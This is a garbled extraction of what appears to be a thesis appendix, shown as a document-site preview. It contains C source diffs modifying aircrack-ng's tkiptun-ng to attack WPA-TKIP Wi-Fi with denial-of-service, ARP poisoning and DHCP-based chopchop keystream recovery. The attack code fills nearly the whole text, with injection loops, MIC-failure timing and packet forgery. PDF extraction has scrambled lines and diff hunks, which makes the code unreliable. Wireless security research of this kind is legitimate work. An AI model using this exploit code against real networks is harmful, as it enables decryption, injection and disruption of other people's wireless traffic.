uchar packet1[4096].116 Source Code /* we have a winner */ + return 0.7 +4232.f_tods = -1.fast = 1. 0) != 0) return 1.8 @@ char *s.. settle = 0.\n"). if(opt. = -1. printf("Waiting for an ARP packet coming from the Client. opt.f_subtype opt.f_minlen_set = 0. int caplen=0.f_maxlen_set = 0.f_type = -1. 0. memcpy(opt. i + /* END MICHAEL TEST*/ + start_main: + if(getnet(NULL. printf("Michael Test: %s\n". sizeof( dev ) ).f_minlen_set == 0) { opt. opt. } if(opt. opt. opt. ? "Successful" : "Failed"). opt.fast == -1) opt.f_tods = 1.f_minlen = 80.f_maxlen_set == 0) { = -1. opt. opt.//. +// uchar packet2[4096].f_dmac. // guess = h80211[9].f_maxlen opt. .r_smac.f_fromds = 0. = 1000. opt.f_minlen = 80.8 +3707. @@ -3705. packet2_len. uchar packet2[4096]. buf[128]. + int packet1_len. @@ -4312. = 80. opt.f_minlen = 80. struct timeval mic_fail. opt.f_fromds @@ -4230. opt. 6).32 +4315.. /* check the arguments */ @@ -3715.7 +3717.f_bssid.32 @@ /* Select ToDS ARP from Client */ -// PCT. int packet1_len.8 @@ PCT. if(opt.f_maxlen opt. 0. 6).f_smac. tries = 0.7 @@ memset( &dev. memcpy(opt. packet2_len.

f_dmac.f_maxlen = 80. caplen) == 1 ) break. caplen).r_smac.f_minlen = 80. if(opt. } if(opt..f_smac.f_bssid.f_smac. } // if(opt. opt.f_fromds = 0. 6). opt. NULL_MAC.20 +4351. opt. 6). } while(1) { if( capture_ask_packet( &caplen. if(opt. } 117 memcpy(packet2.f_dmac.f_maxlen_set == 0) { opt.f_maxlen_set == 0) { opt.fast == -1) opt. } memcpy(packet2. 0 ) != 0 ) return( 1 ). packet2_len = caplen. 0 ) != 0 ) return( 1 )..f_minlen_set == 0) { opt. PCT. if( is_qos_arp_tkip(h80211.\n") . } while(1) { if( capture_ask_packet( &caplen. memcpy(opt. +// +// +// +// +// // +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// /* Select FromDS ARP to Client */ @@ -4348.f_minlen_set == 0) { opt. printf("Waiting for an ARP packet coming from the Client. + if(opt.fast = 1. 6). h80211.Denial-of-Service Attack +// opt. memcpy(opt. 6).f_minlen_set == 0) { . h80211. packet2_len = caplen. memcpy(opt.20 @@ memcpy(opt.f_maxlen = 80. if( is_qos_arp_tkip(h80211. } if(opt. caplen) == 1 ) break. caplen).r_smac.f_maxlen = 98.f_minlen = 80. opt.f_tods = 1. opt.

do_attack_tkipchop(h80211. caplen).f_minlen = 80. caplen) == 1 ) // break. // } Source Code + + + memcpy(packet1. caplen). + got_hdsk = 0. packet1_len = caplen. get a keystream+plaintext.tkiptun-ng-original. // } while(1) { // while(1) // { if( capture_ask_packet( &caplen. folks */ + A.c 2009-04-14 13:38:07. /* derive IPs and MACs. caplen).7 +4380. packet2. if( is_qos_arp_tkip(h80211. caplen) == 1 ) break. . relays on QoS. // } // if(opt. @@ -4377.118 + + + + + + + // opt. calculate the MIC Key */ do_attack_tkipchop(h80211.f_maxlen = 98.7 @@ } /* Also chop the answer to get the equivalent MIC Key */ memcpy(h80211. ARP and fromDS packet */ if(opt. } // if( is_qos_arp_tkip(h80211. h80211.chopped_from_plain != NULL) { @@ -4412.000000000 +0200 @@ -210. /* that’s all. packet2_len).2 ARP Poisoning Attack --. unsigned char f_dmac[6]. //memcpy(h80211.7 +4416.6 +210.f_maxlen_set == 0) { // opt. packet2. + goto start_main.8 @@ /* Chop the packet down. packet2_len).000000000 +0200 +++ tkiptun-ng-arp-poisoning-1503.c 2009-04-14 12:37:59. 0 ) != 0 ) return( 1 ). unsigned char f_bssid[6].7 @@ struct options { + unsigned char fake_smac[6].

f_dmac ) != 0 ) A. 119 + memcpy(opt.Improved Attack unsigned char f_smac[6]. return( 1 ).r_smac.\n". argv[0]).r_smac. @@ -3778. argv[0]). 4).6). // Hack to send only to the chosen target.7 @@ }.000000000 +0200 @@ -2140.fake_smac.000000000 +0200 +++ tkiptun-ng-dhcp-chop-1503. long_options. argv.fake_smac ) != 0 ) { printf( "Invalid source MAC address. "q:d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:". opt.6 +1502. "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:".c 2009-04-14 15:16:42.7 @@ if(toDS) memcpy(packet+26+26. printf("\"%s --help\" for help.ip_ap. 6).7 +1517.tkiptun-ng-original.3 Improved Attack --.\n".r_apmac. 1. BROADCAST).opt. int option = getopt_long( argc. return( 1 ).\n" ).6 +3781.c 2009-04-14 12:37:59. opt. opt. if(toDS) memcpy(packet+26+32. &option_index ). + if( option < 0 ) break.116 @@ } . else memcpy(packet+26+26. @@ -3757. + if(toDS) set_clear_arp(packet+26. BROADCAST. 1. opt.8 @@ packet[24] = 0x02. 6). case ’d’ : if( getmac( optarg. @@ -1501.16 @@ printf("\"%s --help\" for help. //priority 2 packet[25] = 0x00. BROADCAST.7 +2140. else @@ -1514.7 +3760. opt. } break. 6). + memcpy(packet+26+26. + + + + + + + + + + case ’q’ : if( getmac( optarg.

+ data_end . int plaintext. } +int hexToDec(unsigned char inHex) +{ + char outStr[256].2] ^= crc_chop_tbl[guess][3].1] ^ srcbuf[data_end . + + chopped[data_end . + chopped[data_end . +u16 i. + +u16 ip_sum_calc(u16 len_ip_header. .i=i+2){ + word16 =((buff[i]<<8)&0xFF00)+(buff[i+1]&0xFF). +} +int simulate_chopchop(uchar *chopped.1] ^ plaintext."%d". u16 buff[]) +{ +u16 word16. + chopped[data_end . + sum = sum + (u32) word16.1] ^ srcbuf[data_end .1]).1]. +***************************************** +*/ +typedef unsigned short u16.i<len_ip_header.5] ^= crc_chop_tbl[guess][0]. +typedef unsigned long u32.1.4] ^= crc_chop_tbl[guess][1]. + sprintf(outStr. + chopped[data_end . +u32 sum=0.1] ^= guess. + + printf( "\r[Simulate Chopchop] Offset %4d | xor = %02X | pt = %02X\n".120 Source Code return 1. + return data_end. + + // make 16 bit words out of every two adjacent 8 bit words in the packet + // and add them up + for (i=0.3] ^= crc_chop_tbl[guess][2]. +} +/* +***************************************** +Function: ip_sum_calc +Description: Calculate the 16 bit IP sum. + + data_end--. + chopped[data_end .inHex). int data_end) +{ + // ALGEBRA: + // chopped XOR src_buf XOR plaintext = guess + + int guess = chopped[data_end . + } + + // take only 16 bits out of the 32 bit sum and add up the carries + while (sum>>16) + sum = (sum & 0xFFFF)+(sum >> 16). + chopped[data_end . + return atoi(outStr). + chopped[data_end .

+ // add a padding byte = 0 at the end of packet + if ((padding&1)==1){ + padd=1. +u16 padd=0. +u16 word16. + } + // add the UDP pseudo header which contains the IP source and destinationn addresses + for (i=0. u16 src_addr[]. int padding.i=i+2){ + word16 =((dest_addr[i]<<8)&0xFF00)+(dest_addr[i+1]&0xFF). If odd. + buff[len_udp]=0. + +return ((u16) sum). + } + // the protocol number and the length of the UDP packet + sum = sum + prot_udp + len_udp.i<4.u16 dest_addr[].i<4. + sum=sum+word16. + sum=sum+word16.i=i+2){ + word16 =((src_addr[i]<<8)&0xFF00)+(src_addr[i+1]&0xFF). u16 buff[]) +{ +u16 prot_udp=17.i=i+2){ + word16 =((buff[i]<<8)&0xFF00)+(buff[i+1]&0xFF). +} + +/* +************************************** +Function: udp_sum_calc() +Description: Calculate UDP checksum +************************************** +*/ + +u16 udp_sum_calc(u16 len_udp.i<len_udp+padd. + + // Find out if the length of data is even or odd number. + int i. + sum = sum + (unsigned long)word16. + + // keep only the last 16 bits of the 32 bit calculated sum and add the carries + while (sum>>16) . + // make 16 bit words out of every two adjacent 8 bit words and + // calculate the sum of all 16 vit words + for (i=0. + } + for (i=0.Improved Attack 121 + + // one’s complement the result + sum = ~sum. + } + + //initialize sum to zero + sum=0. +u32 sum.

address . 6. 192. 192. address .2nd byte data_end = simulate_chopchop(chopped. address .3th byte data_end = simulate_chopchop(chopped. length data_end = simulate_chopchop(chopped. ++i) data_end = simulate_chopchop(chopped. 255. // Router IP // Router IP // Router IP // Router IP data_end = simulate_chopchop(chopped.4th byte // Router // Router option // Subnet Mask . data_end). data_end). address . data_end). data_end). +} int do_attack_tkipchop( uchar* src_packet. address . data_end). address . 4.1st byte // DNS address // DNS option 1.191 @@ /* wait for the next timer interrupt. data_end). address . address length data_end = simulate_chopchop(chopped.122 + sum = (sum & 0xFFFF)+(sum >> 16). 0. data_end). + + // Take the one’s complement of sum + sum = ~sum. 168.6 +2567. data_end). // Subnet Mask data_end = simulate_chopchop(chopped. data_end). address . @@ -2458. int src_packet_len ) { float f. // Router option field data_end = simulate_chopchop(chopped. 1. 0.4th byte data_end = simulate_chopchop(chopped. 168.1st byte 1. 3. data_end). i < 274. Source Code +return ((u16) sum). or sleep */ + + + + + + + + + + + + + + + + + + + + + + + + + + + if(data_end == 618) { // Padding (274 bytes of zero) for(i = 0. data_end). data_end). 4. data_end = simulate_chopchop(chopped. IP address . // DNS IP // DNS IP // DNS IP // DNS IP data_end = simulate_chopchop(chopped. data_end).2nd byte data_end = simulate_chopchop(chopped. data_end).3th byte data_end = simulate_chopchop(chopped.4th byte data_end = simulate_chopchop(chopped. // end option byte is 0xFF // DNS option field data_end = simulate_chopchop(chopped. 1. ticks[4]. data_end).

163. 255. data_end). // 0x00 data_end = simulate_chopchop(chopped. = simulate_chopchop(chopped.0x35 Cookie = simulate_chopchop(chopped. 192. 0. data_end). = simulate_chopchop(chopped. data_end). IP address . 2.0x01 // Option . // Message data_end = data_end = data_end = // Magic data_end data_end data_end data_end Type (DHCP ACK) simulate_chopchop(chopped. IP address . data_end). simulate_chopchop(chopped. // 0x63 83. = simulate_chopchop(chopped. length data_end = simulate_chopchop(chopped. // 0xA3 data_end = simulate_chopchop(chopped. 4. 4. // Server Host Name (64 bytes of zero) . 0. data_end). data_end). data_end). option . // 0x53 130. // 0x00 data_end = simulate_chopchop(chopped. 4th byte data_end = simulate_chopchop(chopped. 255. 51. ++i) data_end = simulate_chopchop(chopped. data_end). 5. // Address // Option // Ack . data_end). data_end). i < 128.1st byte data_end = simulate_chopchop(chopped.Improved Attack + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + data_end = simulate_chopchop(chopped. // 0x02 data_end = simulate_chopchop(chopped. 1. // 0x82 99. 1. .1st byte // Field length // Lease time 1. . 4. data_end). address length data_end = simulate_chopchop(chopped. data_end). 1.2nd byte data_end = simulate_chopchop(chopped. data_end). 0. data_end). // IP address // IP address // IP address // IP address data_end = simulate_chopchop(chopped.0x33 // DHCP Server ID data_end = simulate_chopchop(chopped. data_end). data_end). data_end = simulate_chopchop(chopped. data_end). 168. IP address . option 123 // Subnet Mask // Subnet Mask // Subnet Mask // Subnet Mask // Subnet Mask // Lease time (Set to 48 hours by default) // 24 hours = 0x00 01 51 80 // 48 hours = 0x00 02 A3 00 data_end = simulate_chopchop(chopped. 99. 255.0x05 // Length .2nd byte data_end = simulate_chopchop(chopped. simulate_chopchop(chopped. // 0x63 // Boot File Name (128 bytes of zero) for(i = 0. data_end). data_end). data_end). 54. data_end). data_end). data_end). data_end). data_end). 3th byte data_end = simulate_chopchop(chopped.3th byte data_end = simulate_chopchop(chopped. 53.

0.4th byte data_end = simulate_chopchop(chopped. --i) data_end = simulate_chopchop(chopped. data_end).1st byte 1. // Client MAC Address (6 bytes) for(i = 5.r_smac[ i]. ++i) data_end = simulate_chopchop(chopped.ip_cli[ i]. ++i) data_end = simulate_chopchop(chopped.opt. 0. continue. --i) data_end = simulate_chopchop(chopped. i>=0. data_end).2nd byte data_end = simulate_chopchop(chopped. data_end). ++i) data_end = simulate_chopchop(chopped. data_end). // Next Server // Next Server // Next Server // Next Server // Your IP Address for(i = 3.124 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Source Code for(i = 0. // Bootp flags (Unicast) (2 bytes of zero) for(i = 0.data_end). data_end). i < 10. 0. . 1. data_end). IP address . 1.3th byte data_end = simulate_chopchop(chopped. // Relay Agent IP Address (4 bytes of zero) for(i = 0. 6. i < 64. 0. 192.data_end). data_end). data_end). i>=0. i < 4. // Next Server IP Address data_end = simulate_chopchop(chopped. // Client IP Address (4 bytes of zero) for(i = 0. i < 2. 0.opt. // HW Address length data_end = simulate_chopchop(chopped. IP address . IP address . 0. // HW Type (Ethernet) data_end = simulate_chopchop(chopped. ++i) data_end = simulate_chopchop(chopped. ++i) data_end = simulate_chopchop(chopped. IP address . // Seconds elapsed (2 bytes of zero) for(i = 0. data_end). data_end). // Message Type (Boot Replay) ID has been chopped 0. i < 4. // Continue chopping the Transaction ID } // Start guessing after the transaction if(data_end == 74) { // Hops data_end = simulate_chopchop(chopped. data_end). 168. data_end). i < 2. data_end). // Client Hardware Address Padding (10 bytes of zero) for(i = 0. ++i) data_end = simulate_chopchop(chopped.

// IP HEADER u16 ip_header[20] = { . // 0x02 // Destination Port (68) (0x0044) data_end = simulate_chopchop(chopped.ip_cli[0].opt. // Length (556 . 44. // IP dest addr u16 buffer[556]. i<556.ip_cli[1]. u16 tmp_src[556].Improved Attack + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + data_end = simulate_chopchop(chopped.udp_sum).0xA8. // CALCULATE THE UPD HEADER CHECKSUM u16 src_addr[] = {0xC0. // Hyper chop the checksum data_end = simulate_chopchop(chopped. data_end). ++i) buffer[i] ^= tmp_src[i]. i<556. data_end = simulate_chopchop(chopped.opt. udp_chk_1. data_end). // Source Port (67) (0x0043) data_end = simulate_chopchop(chopped. // Insert buffer[0] buffer[2] buffer[4] buffer[6] known bytes into the buffer = 0x00. data_end).0. 2. data_end). i<556. data_end). // IP src addr u16 dest_addr[] = {opt. src_addr.opt.0x01}. // Source Port Destination Port Length Zero checksum // Calclulate the UDP checksum int udp_sum = udp_sum_calc(556. int udp_chk_2 = udp_sum-(udp_chk_1<<8). ++i) tmp_src[i] = srcbuf[i+62]. 00. data_end = simulate_chopchop(chopped. // = 0x00. ++i) buffer[i] = chopped[i+62]. data_end). data_end). 125 // Make a temporary copy of the srcbuf (containing ciphertext) for(i=0. 2. printf("UDP sum: %x\n". 68. data_end). buffer[1] = 0x43.0x022C) data_end = simulate_chopchop(chopped. // Copy the keystream from the start of the UDP header to the end for(i=0. udp_chk_2. // XOR the keystream and the ciphertext to reveal the plaintext for(i=0. // Get the different bytes of the checksum int udp_chk_1 = udp_sum >> 8. // = 0x00. data_end). buffer[7] = 0x00. buffer[3] = 0x44. 67. // = 0x02. buffer[5] = 0x2C. ip_cli[3]}.ip_cli[2]. 00.buffer).0x01. // 0x2C data_end = simulate_chopchop(chopped.dest_addr. data_end = simulate_chopchop(chopped.

0x00.ip_header). 0x00. 0x00. caplen. // Stop chopping. + if(data_end ==0) + break. // Hyperchop the IP headers for(i = 19. 0xA8.". // Calculate the IP checksum u16 ip_sum = ip_sum_calc(20.7 +3146. chopped. 0x00. chopped. while(1) { gettimeofday(&mic_fail. ip_header [i]. caplen-data_end) == 0) // found correct packet :) break. // SET TYPE TO IP for( i = 26 + 8. 0xC0. 0x02. NULL). + chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08. fflush(stdout). opt. 0x00. i < (int) caplen. caplen-data_end) == 0) //found correct packet :) + // break. 0x01. data_end). 0x00. 0x40. chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00. i>=0.7 +3155. chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00. // SET TYPE TO IP + chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00. 0x00. 0x00." @@ -2822. i<4. caplen. i++ ) h80211[i .8] = h80211[i] ^ chopped[i]. // if( guess_packet(srcbuf. 0x00. 0x00. @@ -2859. ++i) ip_header[i+16] = opt.9 +3116. 0x11. --i) data_end = simulate_chopchop(chopped.ip_cli[i]. 0x40. ip_header[11] = ip_sum-(ip_header[10]<<8). ip_header[10] = ip_sum >> 8.10 @@ PCT. printf("\rSleeping for %i seconds. 0x00 Source Code }. + if( guess_packet(srcbuf. @@ -2851. Let’s append those ethernet headers } if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0) { printf( "\rLooks like mic failure report was not detected.mic_failure_interval) .126 + + + + + + + + + + + + + + + + + + + + + 0x45.7 @@ if (!tried_header_rec) { . // Your IP Address for(i = 0.8 @@ chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00. 0x01. break.

7 +4053. struct timeval mic_fail.f_minlen_set = 0. + int option = getopt_long( argc.9 +4001. sizeof( dev ) ).7 +4011. goto header_rec.9 @@ char *s.1 ).ip_cli[3]). opt.//. opt.f_type = -1.56 +4612.f_maxlen_set = 0. sizeof( opt.r_essid ) break. optarg.%d.7 @@ memset( &dev. uchar packet2[4096]. + //goto header_rec. opt.(int *)&opt.ip_cli[2]. 0.(int *)&opt.Improved Attack 127 printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ).%d. opt. /* check the arguments */ @@ -3715. tried_header_rec=1. "%d.ip_cli[0]. +// struct timeval mic_fail.%d".10 @@ strncpy( opt. @@ -4312.7 @@ }. = 628. buf[128].f_subtype opt.r_essid.\n" ). uchar packet1[4096]. + = -1. int caplen=0. &option_index ).f_minlen = 80. @@ -3904. opt.(int *)&opt.f_fromds @@ -3757.f_maxlen opt.r_fromdsinj = 1.f_minlen = 628. packet2_len.f_tods = -1. int packet1_len. argv.56 @@ .(int *)&opt. ip_cli[1].f_maxlen opt. "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:". "d:s:m:n:t:f:x:a:c:h:e:jy:i:I:r:HZDK:P:p:M:". = -1. break. case ’I’ : sscanf(optarg. if( option < 0 ) break. = 80.\nPacket is most likely invalid/useless\nTry another one. } else { printf( "\nWorkaround couldn’t fix ICV checksum. + //uchar packet2[4096]. } @@ -3705.6 +4200. long_options. packet2_len. + int packet1_len. opt. case ’j’ : opt. opt. + + + + .

6). printf("Waiting for an ARP packet coming from the Client. opt.f_minlen_set == 0) { opt.\n"). +// +// +// +// +// // +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// . memcpy(opt. 0 ) != 0 ) return( 1 ). printf("Waiting for an ARP packet coming from the Client. PCT. } if(opt. 6).f_minlen_set == 0) { opt. if(opt. caplen). h80211. } if(opt. } memcpy(packet2. 0 ) != 0 ) return( 1 ).fast = 1.f_smac.. if(opt.fast = 1.f_minlen = 80.f_smac. 6).f_fromds = 0.f_bssid. opt. memcpy(opt. memcpy(opt. opt. if( is_qos_arp_tkip(h80211.f_minlen = 80. caplen). caplen) == 1 ) break.f_maxlen_set == 0) { opt.fast == -1) opt.f_maxlen = 80. opt. caplen) == 1 ) break. } while(1) { if( capture_ask_packet( &caplen.r_smac.. opt. if(opt.f_dmac. opt.\n") . packet2_len = caplen.f_maxlen = 80. memcpy(opt.128 /* Select ToDS ARP from Client */ -// +// Source Code PCT.f_maxlen_set == 0) { opt.. opt.fast == -1) opt.f_fromds = 0. opt.f_dmac. if( is_qos_arp_tkip(h80211.r_smac. } while(1) { if( capture_ask_packet( &caplen. 6).f_tods = 1.f_tods = 1. if(opt. } memcpy(packet2.f_bssid.. h80211.

f_minlen = 80. printf("Waiting for an ARP response packet coming from the AP. opt. h80211. 4). caplen) == 1 ) + // break. - . memcpy(opt. 6). PCT. memcpy(opt.41 +4679.Improved Attack +// packet2_len = caplen.f_maxlen_set == 0) { opt. 4).41 @@ do_attack_tkipchop(h80211. printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i. ARP and fromDS packet */ if(opt. } while(1) { + // if(opt. } + // if( is_qos_arp_tkip(h80211. packet1_len = caplen. opt.\n").r_apmac. opt. } PCT. caplen). + // } memcpy(packet1.f_fromds = 1.\n ").f_maxlen_set == 0) { + // opt. } if(opt.f_minlen_set == 0) { opt.ip_ap. memcpy(opt.. opt. caplen). 6). 6). caplen) == 1 ) break.%i.f_tods = 0.chopped_from_plain != NULL) { memcpy(opt. NULL_MAC.f_minlen = 80. /* derive IPs and MACs.%i. 0 ) != 0 ) return( 1 ). if(opt. memcpy(opt. opt.ip_cli.f_minlen_set == 0) { + // opt. opt.. @@ -4379..%i\n".f_dmac. + // } + // if(opt..chopped_from_plain+48. + // } + // + // while(1) + // { if( capture_ask_packet( &caplen. if( is_qos_arp_tkip(h80211. /* Select FromDS ARP to Client */ + 129 PCT.chopped_from_plain+42. relays on QoS.f_smac.r_smac.f_maxlen = 98.chopped_from_plain+58.f_maxlen = 98. printf("Waiting for an DHCP ACK packet coming from the AP.

r_smac[3]. } /* Also chop the answer to get the equivalent MIC Key */ memcpy(h80211.r_smac[0]. caplen).opt.opt.opt.r_smac[4].opt.r_apmac.opt.r_apmac[1].ip_cli[1]. // opt.r_apmac[0].opt.r_smac[1].opt.\n").%i \n". do_attack_tkipchop(h80211.opt.ip_cli[0]. // memcpy(opt. if( (mic_fail.opt.opt.ip_ap[2].ip_ap[0].tv_usec) > opt.%i\n".r_smac[5]. opt.ip_cli[1].opt.opt.ip_ap[3]). // opt.ip_cli[2].%i.ip_ap[0].mic_failure_interval). while(1) { gettimeofday(&mic_fail.opt. opt. opt.opt.chopped_from_plain+42.opt.opt.%i. // opt. &caplen. /* wait until we can generate a new mic failure */ PCT.r_apmac [3]. // // /* Send an ARP Request from the AP to the Client */ + + + + + + + + + + + + + + + . // PCT. NULL).ip_cli[2]. packet2_len). // } // // PCT.opt.opt.tv_usec . // opt.opt. caplen).tv_sec .opt. mic_failure_interval * 1000000) break. 6).%i\ n". // memcpy(opt.r_smac[2].r_apmac[2]. printf("Sent encrypted tkip ARP request to the client. // if(opt.r_smac[5].opt. printf("Wait for the mic countermeasure timeout of %i seconds.opt.opt. opt.opt.opt .r_smac[1]. sleep(1).ip_cli. 4).r_apmac[5]. /* Send an ARP Request from the AP to the Client */ build_arp_request(h80211. printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.chopped_from_plain+58.130 - Source Code opt.% i. 0).\n". PCT.ip_ap[3]).r_apmac[0].chopped_from_plain != NULL) // { // memcpy(opt.ip_cli[3]). 4).opt. opt.%i.ip_ap. //writes encrypted tkip arp request into h80211 send_packet(h80211.opt.r_smac[0]. opt.r_smac[2].opt. opt.tv_sec) * 1000000 + ( mic_fail.ip_ap[1].opt.opt. printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.r_smac[4].r_apmac[4].ip_cli[0].r_apmac[4].ip_ap[1].opt. PCT.ip_cli [3]).last_mic_failure.%i.ip_ap[2].r_apmac[2]. printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.r_apmac[5].r_smac [3].%i.opt.chopped_from_plain+48.opt. packet2.opt.last_mic_failure.r_apmac[1]. r_apmac[3].

caplen). // do_attack_tkipchop(h80211. folks */ . printf("Wait for the mic countermeasure timeout of %i seconds . // } // // /* Also chop the answer to get the equivalent MIC Key */ // memcpy(h80211.last_mic_failure.opt.tv_sec . packet2. 0). // if( (mic_fail. printf("Sent encrypted tkip ARP request to the client.last_mic_failure. // sleep(1).Improved Attack + + + + + + + + + + + + + 131 + + + + + + + // // build_arp_request(h80211. caplen).\n"). opt. packet2_len). //writes encrypted tkip arp request into h80211 // send_packet(h80211.\n".tv_sec) * 1000000 + (mic_fail. mic_failure_interval * 1000000) // break.opt.tv_usec . // // while(1) // { // gettimeofday(&mic_fail. // // /* wait until we can generate a new mic failure */ // // PCT. &caplen.mic_failure_interval). NULL). /* that’s all.tv_usec) > opt. // PCT.

132 Source Code .

Appendix B Attached CD-ROM/ZIP-file The attached CD-ROM/ZIP-file contains the following files and directories: • README .c .ARP poisoning attack on TKIP • modified_code/tkiptun-ng-dhcp-chop-1503.c .c .Original attack on TKIP 133 .Instructions • aircrack-ng.DoS attack on TKIP • tkiptun-ng-original-1503.c .Aircrack-ng Suite revision 1503 • modified_code/tkiptun-ng-arp-poisoning-1503.zip .Improved attack on TKIP • modified_code/tkiptun-ng-dos-attack-1503.

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->